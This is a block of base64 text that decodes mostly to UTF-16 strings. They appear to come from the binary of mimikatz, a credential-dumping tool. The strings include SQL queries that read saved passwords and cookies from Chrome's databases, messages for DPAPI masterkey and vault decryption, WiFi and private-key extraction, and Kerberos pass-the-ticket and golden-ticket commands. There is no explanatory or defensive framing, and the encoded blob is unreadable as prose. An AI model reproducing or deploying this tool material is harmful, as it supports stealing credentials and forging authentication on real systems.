hAG4AIAB0AGUAcwB0AAAAAAAAAGMAaAByAG8AbQBlAAAAAABDAGgAcgBvAG0AZQAgAHQAZQBzAHQAAABjAGEAYwBoAGUAAAAAAAAAZABwAGEAcABpAAAAAAAAAAAAAAAAAAAARABQAEEAUABJACAATQBvAGQAdQBsAGUAIAAoAGIAeQAgAEEAUABJACAAbwByACAAUgBBAFcAIABhAGMAYwBlAHMAcwApAAAAAAAAAAAAAABEAGEAdABhACAAUAByAG8AdABlAGMAdABpAG8AbgAgAGEAcABwAGwAaQBjAGEAdABpAG8AbgAgAHAAcgBvAGcAcgBhAG0AbQBpAG4AZwAgAGkAbgB0AGUAcgBmAGEAYwBlAAAAaQBuAAAAAAAAAAAAZABlAHMAYwByAGkAcAB0AGkAbwBuACAAOgAgACUAcwAKAAAAAAAAAG8AdQB0AAAAVwByAGkAdABlACAAdABvACAAZgBpAGwAZQAgACcAJQBzACcAIABpAHMAIABPAEsACgAAAAAAAABkAGEAdABhADoAIAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAGIAbABvAGIAIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AcgBlAGEAZABEAGEAdABhACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABkAGEAdABhAAAAAAAAAAAAZABlAHMAYwByAGkAcAB0AGkAbwBuAAAAZQBuAHQAcgBvAHAAeQAAAG0AYQBjAGgAaQBuAGUAAABwAHIAbwBtAHAAdAAAAAAAYwAAAAAAAAAKAGQAYQB0AGEAIAAgACAAIAAgACAAIAAgADoAIAAlAHMACgAAAAAAZgBsAGEAZwBzACAAIAAgACAAIAAgACAAOgAgAAAAAABwAHIAbwBtAHAAdAAgAGYAbABhAGcAcwA6ACAAAAAAAGUAbgB0AHIAbwBwAHkAIAAgACAAIAAgADoAIAAAAAAAQgBsAG8AYgA6AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AcAByAG8AdABlAGMAdAAgADsAIABDAHIAeQBwAHQAUAByAG8AdABlAGMAdABEAGEAdABhACAAKAAwAHgAJQAwADgAeAApAAoAAABwAHIAbwB0AGUAYwB0AGUAZAAAAAAAAABzAGkAZAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AbQBhAHMAdABlAHIAawBlAHkAIAA7ACAAQwBvAG4AdgBlAHIAdABTAHQAcgBpAG4AZwBTAGkAZABUAG8AUwBpAGQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAaABhAHMAaAAAAAAAAAAAAAoAWwBtAGEAcwB0AGUAcgBrAGUAeQBdACAAdwBpAHQAaAAgAHYAbwBsAGEAdABpAGwAZQAgAGMAYQBjAGgAZQA6ACAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBtAGEAcwB0AGUAcgBrAGUAeQAgADsAIABOAG8AIABzAHUAaQB0AGEAYgBsAGUAIABrAGUAeQAgAGYAbwB1AG4AZAAgAGkAbgAgAGMAYQBjAGgAZQAKAAAAAAAKAFsAbQBhAHMAdABlAHIAawBlAHkAXQAgAHcAaQB0AGgAIABEAFAAQQBQAEkAXwBTAFkAUwBUAEUATQAgACgAbQBhAGMAaABpAG4AZQAsACAAdABoAGUAbgAgAHUAcwBlAHIAKQA6ACAAAAAAAAAAKgAqACAATQBBAEMASABJAE4ARQAgACoAKgAKAAAAAAAqACoAIABVAFMARQBSACAAKgAqAAoAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AbQBhAHMAdABlAHIAawBlAHkAIAA7ACAAawB1AGwAbABfAG0AXwBkAHAAYQBwAGkAXwB1AG4AcAByAG8AdABlAGMAdABfAG0AYQBzAHQAZQByAGsAZQB5AF8AdwBpAHQAaABfAHMAaABhAEQAZQByAGkAdgBlAGQAawBlAHkACgAAAAAAAAAAAAAACgBbAG0AYQBzAHQAZQByAGsAZQB5AF0AIAB3AGkAdABoACAARABQAEEAUABJAF8AUwBZAFMAVABFAE0AOgAgAAAAAAAAAAAAcABhAHMAcwB3AG8AcgBkAAAAAAAAAAAAbgBvAHIAbQBhAGwAAAAAAAoAWwBtAGEAcwB0AGUAcgBrAGUAeQBdACAAdwBpAHQAaAAgAHAAYQBzAHMAdwBvAHIAZAA6ACAAJQBzACAAKAAlAHMAIAB1AHMAZQByACkACgAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AbQBhAHMAdABlAHIAawBlAHkAIAA7ACAAawB1AGwAbABfAG0AXwBkAHAAYQBwAGkAXwB1AG4AcAByAG8AdABlAGMAdABfAG0AYQBzAHQAZQByAGsAZQB5AF8AdwBpAHQAaABfAHAAYQBzAHMAdwBvAHIAZAAKAAAAAAAKAFsAbQBhAHMAdABlAHIAawBlAHkAXQAgAHcAaQB0AGgAIABoAGEAcwBoADoAIAAAAAAAAAAAACAAKABuAHQAbABtACAAdAB5AHAAZQApAAoAAAAAAAAAIAAoAHMAaABhADEAIAB0AHkAcABlACkACgAAAAAAAAAgACgAPwApAAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAG0AYQBzAHQAZQByAGsAZQB5ACAAOwAgAGsAdQBsAGwAXwBtAF8AZABwAGEAcABpAF8AdQBuAHAAcgBvAHQAZQBjAHQAXwBtAGEAcwB0AGUAcgBrAGUAeQBfAHcAaQB0AGgAXwB1AHMAZQByAEgAYQBzAGgACgAAAAAACgBbAGQAbwBtAGEAaQBuAGsAZQB5AF0AIAB3AGkAdABoACAAdgBvAGwAYQB0AGkAbABlACAAYwBhAGMAaABlADoAIAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAG0AYQBzAHQAZQByAGsAZQB5ACAAOwAgAGsAdQBsAGwAXwBtAF8AZABwAGEAcABpAF8AdQBuAHAAcgBvAHQAZQBjAHQAXwBkAG8AbQBhAGkAbgBrAGUAeQBfAHcAaQB0AGgAXwBrAGUAeQAKAAAAAAAAAHAAdgBrAAAACgBbAGQAbwBtAGEAaQBuAGsAZQB5AF0AIAB3AGkAdABoACAAUgBTAEEAIABwAHIAaQB2AGEAdABlACAAawBlAHkACgAAAAAAcgBwAGMAAAAKAFsAZABvAG0AYQBpAG4AawBlAHkAXQAgAHcAaQB0AGgAIABSAFAAQwAKAAAAAABkAGMAAAAAAGQAbwBtAGEAaQBuAAAAAABbAEQAQwBdACAAJwAlAHMAJwAgAHcAaQBsAGwAIABiAGUAIAB0AGgAZQAgAGQAbwBtAGEAaQBuAAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAG0AYQBzAHQAZQByAGsAZQB5ACAAOwAgAEQAbwBtAGEAaQBuACAAbgBvAHQAIABwAHIAZQBzAGUAbgB0ACwAIABvAHIAIABkAG8AZQBzAG4AJwB0ACAAbABvAG8AawAgAGwAaQBrAGUAIABhACAARgBRAEQATgAKAAAAWwBEAEMAXQAgACcAJQBzACcAIAB3AGkAbABsACAAYgBlACAAdABoAGUAIABEAEMAIABzAGUAcgB2AGUAcgAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAG0AYQBzAHQAZQByAGsAZQB5ACAAOwAgAEQAbwBtAGEAaQBuACAAQwBvAG4AdAByAG8AbABsAGUAcgAgAG4AbwB0ACAAcAByAGUAcwBlAG4AdAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AbQBhAHMAdABlAHIAawBlAHkAIAA7ACAASQBuAHAAdQB0ACAAbQBhAHMAdABlAHIAawBlAHkAcwAgAGYAaQBsAGUAIABuAGUAZQBkAGUAZAAgACgALwBpAG4AOgBmAGkAbABlACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AYwByAGUAZABoAGkAcwB0ACAAOwAgAEMAbwBuAHYAZQByAHQAUwB0AHIAaQBuAGcAUwBpAGQAVABvAFMAaQBkACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAcwBoAGEAMQAAAAAAAAAAAAoAIAAgAFsAZQBuAHQAcgB5ACAAJQB1AF0AIAB3AGkAdABoACAAdgBvAGwAYQB0AGkAbABlACAAYwBhAGMAaABlADoAIAAAAAAAAAAAAAAACgAgACAAWwBlAG4AdAByAHkAIAAlAHUAXQAgAHcAaQB0AGgAIABTAEgAQQAxACAAYQBuAGQAIABTAEkARAA6ACAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIAB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KAAAAAAAAAAAAAABXAGkAbABsACAAZQBuAGMAbwBkAGUAOgAKACAAKgAgACUAMwB1ACAATQBhAHMAdABlAHIASwBlAHkAKABzACkACgAgACoAIAAlADMAdQAgAEMAcgBlAGQAZQBuAHQAaQBhAGwAKABzACkACgAgACoAIAAlADMAdQAgAEQAbwBtAGEAaQBuAEsAZQB5ACgAcwApAAoAAAAAAAAAAAAAAAAARQBuAGMAbwBkAGUAZAA6AAoAIAAqACAAYQBkAGQAcgA6ACAAMAB4ACUAcAAKACAAKgAgAHMAaQB6AGUAOgAgACUAdQAKAAAAVwByAGkAdABlACAAZgBpAGwAZQAgACcAJQBzACcAOgAgAAAAAAAAAE8ASwAKAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAG8AZQBfAFMAYQB2AGUAVABvAEYAaQBsAGUAIAA7ACAACgBrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwB3AHIAaQB0AGUARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAUgBlAGEAZAAgAGYAaQBsAGUAIAAnACUAcwAnADoAIAAAAAAAAAAAACAAKgAgACUAMwB1AC8AJQAzAHUAIABNAGEAcwB0AGUAcgBLAGUAeQAoAHMAKQAgAGkAbQBwAG8AcgB0AGUAZAAKAAAAAAAAAAAAAAAAAAAAIAAqACAAJQAzAHUALwAlADMAdQAgAEMAcgBlAGQAZQBuAHQAaQBhAGwAKABzACkAIABpAG0AcABvAHIAdABlAGQACgAAAAAAAAAAAAAAAAAgACoAIAAlADMAdQAvACUAMwB1ACAARABvAG0AYQBpAG4ASwBlAHkAKABzACkAIABpAG0AcABvAHIAdABlAGQACgAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AbwBlAF8ATABvAGEAZABGAHIAbwBtAEYAaQBsAGUAIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AcgBlAGEAZABEAGEAdABhACAAKAAwAHgAJQAwADgAeAApAAoAAABsb2dpbnMAAHNlbGVjdCBzaWdub25fcmVhbG0sIG9yaWdpbl91cmwsIHVzZXJuYW1lX3ZhbHVlLCBwYXNzd29yZF92YWx1ZSBmcm9tIGxvZ2lucwAAAAAACgBVAFIATAAgACAAIAAgACAAOgAgACUALgAqAFMAIAAoACAAJQAuACoAUwAgACkACgBVAHMAZQByAG4AYQBtAGUAOgAgACUALgAqAFMACgAAAAAAAAAAAFAAYQBzAHMAdwBvAHIAZAA6ACAAJQAuACoAUwAKAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAGMAaAByAG8AbQBlACAAOwAgAHMAcQBsAGkAdABlADMAXwBzAHQAZQBwADoAIAAlAFMACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAGMAaAByAG8AbQBlACAAOwAgAHMAcQBsAGkAdABlADMAXwBwAHIAZQBwAGEAcgBlAF8AdgAyADoAIAAlAFMACgAAAGNvb2tpZXMAc2VsZWN0IGhvc3Rfa2V5LCBwYXRoLCBuYW1lLCBjcmVhdGlvbl91dGMsIGV4cGlyZXNfdXRjLCBlbmNyeXB0ZWRfdmFsdWUgZnJvbSBjb29raWVzIG9yZGVyIGJ5IGhvc3Rfa2V5LCBwYXRoLCBuYW1lAAAAAAAAAAAAAAAAAAAKAEgAbwBzAHQAIAAgADoAIAAlAC4AKgBTACAAKAAgACUALgAqAFMAIAApAAoATgBhAG0AZQAgACAAOgAgACUALgAqAFMACgBEAGEAdABlAHMAIAA6ACAAAAAAAAAAAAAgAC0APgAgAAAAAAAAAAAAQwBvAG8AawBpAGUAOgAgACUALgAqAFMACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAGMAaAByAG8AbQBlACAAOwAgAE4AZQBpAHQAaABlAHIAIAB0AGgAZQAgAHQAYQBiAGwAZQAgACcAbABvAGcAaQBuAHMAJwAgAG8AcgAgAHQAaABlACAAdABhAGIAbABlACAAJwBjAG8AbwBrAGkAZQBzACcAIABlAHgAaQBzAHQAIQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AYwBoAHIAbwBtAGUAIAA7ACAAcwBxAGwAaQB0AGUAMwBfAG8AcABlAG4AXwB2ADIAOgAgACUAUwAgACgAJQBTACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAGMAaAByAG8AbQBlACAAOwAgAHMAcQBsAGkAdABlADMAXwBpAG4AaQB0AGkAYQBsAGkAegBlADoAIAAwAHgAJQAwADgAeAAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBjAGgAcgBvAG0AZQAgADsAIABJAG4AcAB1AHQAIAAnAEwAbwBnAGkAbgAgAEQAYQB0AGEAJwAgAGYAaQBsAGUAIABuAGUAZQBkAGUAZAAgACgALwBpAG4AOgAiACUAJQBsAG8AYwBhAGwAYQBwAHAAZABhAHQAYQAlACUAXABHAG8AbwBnAGwAZQBcAEMAaAByAG8AbQBlAFwAVQBzAGUAcgAgAEQAYQB0AGEAXABEAGUAZgBhAHUAbAB0AFwATABvAGcAaQBuACAARABhAHQAYQAiACkACgAAAHNlbGVjdCBjb3VudCgqKSBmcm9tIHNxbGl0ZV9tYXN0ZXIgd2hlcmUgdHlwZT0ndGFibGUnIGFuZCBuYW1lPT8AAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBjAGgAcgBvAG0AZQBfAGkAcwBUAGEAYgBsAGUARQB4AGkAcwB0ACAAOwAgAHMAcQBsAGkAdABlADMAXwBzAHQAZQBwADoAIAAlAFMACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAGMAaAByAG8AbQBlAF8AaQBzAFQAYQBiAGwAZQBFAHgAaQBzAHQAIAA7ACAAcwBxAGwAaQB0AGUAMwBfAGIAaQBuAGQAXwB0AGUAeAB0ADoAIAAlAFMACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AYwBoAHIAbwBtAGUAXwBpAHMAVABhAGIAbABlAEUAeABpAHMAdAAgADsAIABzAHEAbABpAHQAZQAzAF8AcAByAGUAcABhAHIAZQBfAHYAMgA6ACAAJQBTAAoAAAAAAAAAAAAAAAAAAAAAAEQAZQBjAHIAeQBwAHQAaQBuAGcAIABMAGUAZwBhAGMAeQAgAEMAcgBlAGQAZQBuAHQAaQBhAGwAKABzACkAOgAKAAAAAAAAAEQAZQBjAHIAeQBwAHQAaQBuAGcAIABDAHIAZQBkAGUAbgB0AGkAYQBsADoACgAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBjAHIAZQBkACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHIAZQBhAGQARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAGMAcgBlAGQAIAA7ACAASQBuAHAAdQB0ACAAQwBSAEUARAAgAGYAaQBsAGUAIABuAGUAZQBkAGUAZAAgACgALwBpAG4AOgBmAGkAbABlACkACgAAAAAAAAAAAHAAbwBsAGkAYwB5AAAAAABEAGUAYwByAHkAcAB0AGkAbgBnACAAUABvAGwAaQBjAHkAIABLAGUAeQBzADoACgAAAAAAAAAAACAAIABBAEUAUwAxADIAOAAgAGsAZQB5ADoAIAAAAAAAIAAgAEEARQBTADIANQA2ACAAawBlAHkAOgAgAAAAAAAgACAAPgAgAEEAdAB0AHIAaQBiAHUAdABlACAAJQB1ACAAOgAgAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwB2AGEAdQBsAHQAIAA7ACAAQwByAHkAcAB0AEQAZQBjAHIAeQBwAHQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AdgBhAHUAbAB0ACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHIAZQBhAGQARABhAHQAYQAgACgAcABvAGwAaQBjAHkAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AdgBhAHUAbAB0ACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHIAZQBhAGQARABhAHQAYQAgACgAYwByAGUAZAApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AdgBhAHUAbAB0ACAAOwAgAEkAbgBwAHUAdAAgAEMAcgBlAGQAIABmAGkAbABlACAAbgBlAGUAZABlAGQAIAAoAC8AYwByAGUAZAA6AGYAaQBsAGUAKQAKAAAARABlAGMAcgB5AHAAdABpAG4AZwAgAEEAVABfAFMASQBHAE4AQQBUAFUAUgBFACAARQB4AHAAbwByAHQAIABmAGwAYQBnAHMAOgAKAAAAAABIajFkaVE2a3BVeDdWQzRtAAAAAAAAAAAAAAAAAAAAAEQAZQBjAHIAeQBwAHQAaQBuAGcAIABBAFQAXwBTAEkARwBOAEEAVABVAFIARQAgAFAAcgBpAHYAYQB0AGUAIABLAGUAeQA6AAoAAAAAAAAAcgBhAHcAXwBzAGkAZwBuAGEAdAB1AHIAZQAAAAAAAABEAGUAYwByAHkAcAB0AGkAbgBnACAAQQBUAF8ARQBYAEMASABBAE4ARwBFACAARQB4AHAAbwByAHQAIABmAGwAYQBnAHMAOgAKAAAAAAAAAEQAZQBjAHIAeQBwAHQAaQBuAGcAIABBAFQAXwBFAFgAQwBIAEEATgBHAEUAIABQAHIAaQB2AGEAdABlACAASwBlAHkAOgAKAAAAAAAAAAAAcgBhAHcAXwBlAHgAYwBoAGEAbgBnAGUAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAGsAZQB5AHMAXwBjAGEAcABpACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHIAZQBhAGQARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AawBlAHkAcwBfAGMAYQBwAGkAIAA7ACAASQBuAHAAdQB0ACAAQwBBAFAASQAgAHAAcgBpAHYAYQB0AGUAIABrAGUAeQAgAGYAaQBsAGUAIABuAGUAZQBkAGUAZAAgACgALwBpAG4AOgBmAGkAbABlACkACgAAAAAAAABEAGUAYwByAHkAcAB0AGkAbgBnACAAUAByAGkAdgBhAHQAZQAgAFAAcgBvAHAAZQByAHQAaQBlAHMAOgAKAAAANmpua2Q1SjNaZFFEdHJzdQAAAAAAAAAARABlAGMAcgB5AHAAdABpAG4AZwAgAFAAcgBpAHYAYQB0AGUAIABLAGUAeQA6AAoAAAAAAAAAAAB4VDVyWlc1cVZWYnJ2cHVBAAAAAAAAAAByAGEAdwAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AawBlAHkAcwBfAGMAbgBnACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHIAZQBhAGQARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBrAGUAeQBzAF8AYwBuAGcAIAA7ACAASQBuAHAAdQB0ACAAQwBOAEcAIABwAHIAaQB2AGEAdABlACAAawBlAHkAIABmAGkAbABlACAAbgBlAGUAZABlAGQAIAAoAC8AaQBuADoAZgBpAGwAZQApAAoAAABuAGEAbQBlAAAAAAAAAAAAUAByAG8AZgBpAGwAZQAgACcAJQBzACcACgAKAAAAAABTAFMASQBEAAAAAAAAAAAAIAAqACAAUwBTAEkARAAgAAAAAAAAAAAAbgBhAG0AZQAgACAAIAAgACAAOgAgACUAcwAKAAAAAABoAGUAeAAAAGgAZQB4ACAAIAAgACAAIAAgADoAIAAlAHMACgAAAAAAPwAKAAAAAABhAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AAAAAACAAKgAgAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgA6ACAAJQBzAAoAAAAAAGUAbgBjAHIAeQBwAHQAaQBvAG4AAAAAACAAKgAgAEUAbgBjAHIAeQBwAHQAaQBvAG4AIAAgACAAIAA6ACAAJQBzAAoAAAAAAGsAZQB5AE0AYQB0AGUAcgBpAGEAbAAAACAAKgAgAEsAZQB5ACAATQBhAHQAZQByAGkAYQBsACAAIAA6ACAAAABXAEUAUAAAACgAaABlAHgAKQAgAAAAAAAlAC4AKgBTAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwB3AGkAZgBpACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHIAZQBhAGQARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAHcAaQBmAGkAIAA7ACAASQBuAHAAdQB0ACAAVwBsAGEAbgAgAFgATQBMACAAcAByAG8AZgBpAGwAZQAgAG4AZQBlAGQAZQBkACAAKAAvAGkAbgA6AGYAaQBsAGUAKQAKAAAATgBhAG0AZQAAAAAAAAAAAEEAYwBjAGUAcwBzAFMAdAByAGkAbgBnAAAAAAAAAAAAIAAqACAAQQBjAGMAZQBzAHMAUwB0AHIAaQBuAGcAIAAgACAAIAA6ACAAJQBzAAoAAAAAAAAAAABTAHUAYgBzAGMAcgBpAGIAZQByAEkARAAAAAAAAAAAACAAKgAgAFMAdQBiAHMAYwByAGkAYgBlAHIASQBEACAAIAA6ACAAAAAlAC4AKgBzAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAHcAdwBhAG4AIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AcgBlAGEAZABEAGEAdABhACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AdwB3AGEAbgAgADsAIABJAG4AcAB1AHQAIABXAHcAYQBuACAAWABNAEwAIABwAHIAbwBmAGkAbABlACAAbgBlAGUAZABlAGQAIAAoAC8AaQBuADoAZgBpAGwAZQApAAoAAABLZXJiZXJvcwAAAAAAAAAAcAB0AHQAAABQAGEAcwBzAC0AdABoAGUALQB0AGkAYwBrAGUAdAAgAFsATgBUACAANgBdAAAAAABsAGkAcwB0AAAAAAAAAAAATABpAHMAdAAgAHQAaQBjAGsAZQB0ACgAcwApAAAAAABhAHMAawAAAEEAcwBrACAAbwByACAAZwBlAHQAIABUAEcAUwAgAHQAaQBjAGsAZQB0AHMAAAAAAHQAZwB0AAAAUgBlAHQAcgBpAGUAdgBlACAAYwB1AHIAcgBlAG4AdAAgAFQARwBUAAAAAAAAAAAAcAB1AHIAZwBlAAAAAAAAAFAAdQByAGcAZQAgAHQAaQBjAGsAZQB0ACgAcwApAAAAZwBvAGwAZABlAG4AAAAAAFcAaQBsAGwAeQAgAFcAbwBuAGsAYQAgAGYAYQBjAHQAbwByAHkAAABIAGEAcwBoACAAcABhAHMAcwB3AG8AcgBkACAAdABvACAAawBlAHkAcwAAAAAAAABwAHQAYwAAAFAAYQBzAHMALQB0AGgAZQAtAGMAYwBhAGMAaABlACAAWwBOAFQANgBdAAAAAAAAAGMAbABpAHMAdAAAAAAAAABMAGkAcwB0ACAAdABpAGMAawBlAHQAc